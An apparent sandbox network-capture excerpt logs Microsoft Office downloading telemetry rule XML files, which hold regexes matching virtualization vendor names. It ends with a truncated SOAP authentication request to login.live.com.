2024-10-27 16:54:29 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:30 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:30 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 8e6d5db5-101e-0017-4c27-2747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165430Z-16849878b78zqkvcwgr6h55x9n00000003a00000000047az x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:30 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:30 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:30 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: e574f622-301e-0052-4beb-2565d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165430Z-15b8d89586fvk4kmbg8pf84y8800000004qg0000000069s9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:30 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:30 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:30 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 1c275e9e-901e-0048-342c-26b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165430Z-r197bdfb6b4b4pw6nr8czsrctg00000004eg000000007fk4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:30 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.5	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:30 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:30 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: d4a93cd8-001e-008d-65f5-24d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165430Z-15b8d89586f4zwgbgswvrvz4vs00000004zg000000007qaw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:30 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.5	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:30 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:30 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: c1ca1df0-401e-0029-1e3a-269b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165430Z-17c5cb586f6wnfhvhw6gvetfh400000003500000000090uh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:30 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:31 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:31 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: f4a85f8f-401e-00ac-0701-270a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165431Z-16849878b78g2m84h2v9sta29000000002t0000000003vq7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:31 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:31 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:31 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 9cbc4178-801e-008f-12a3-262c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165431Z-16849878b78bjkl8dpep89pbgg00000002kg000000003zam x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:31 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:31 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:31 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:31 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 4b1c8405-301e-005d-7701-27e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165431Z-16849878b78xblwksrnkakc08w00000002zg00000000ggk6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-27 16:54:31 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:31 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:31 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: ab726c5d-b01e-0098-175a-26cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165431Z-17c5cb586f65j4snyp1hqk5z2s0000000560000000005bgh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:31 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:31 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:31 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:31 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 97926059-b01e-0002-293b-261b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165431Z-r197bdfb6b47gqdjqh2kwsuz8c0000000480000000005ark x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:31 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	49813	20.190.159.2	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:31 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-27 16:54:31 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-27 16:54:32 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sun, 27 Oct 2024 16:53:31 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BAY x-ms-request-id: 61cd9713-0eec-46d9-93a0-de4974fe5949 PPServer: PPV: 30 H: PH1PEPF00012032 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sun, 27 Oct 2024 16:54:31 GMT Connection: close Content-Length: 1276
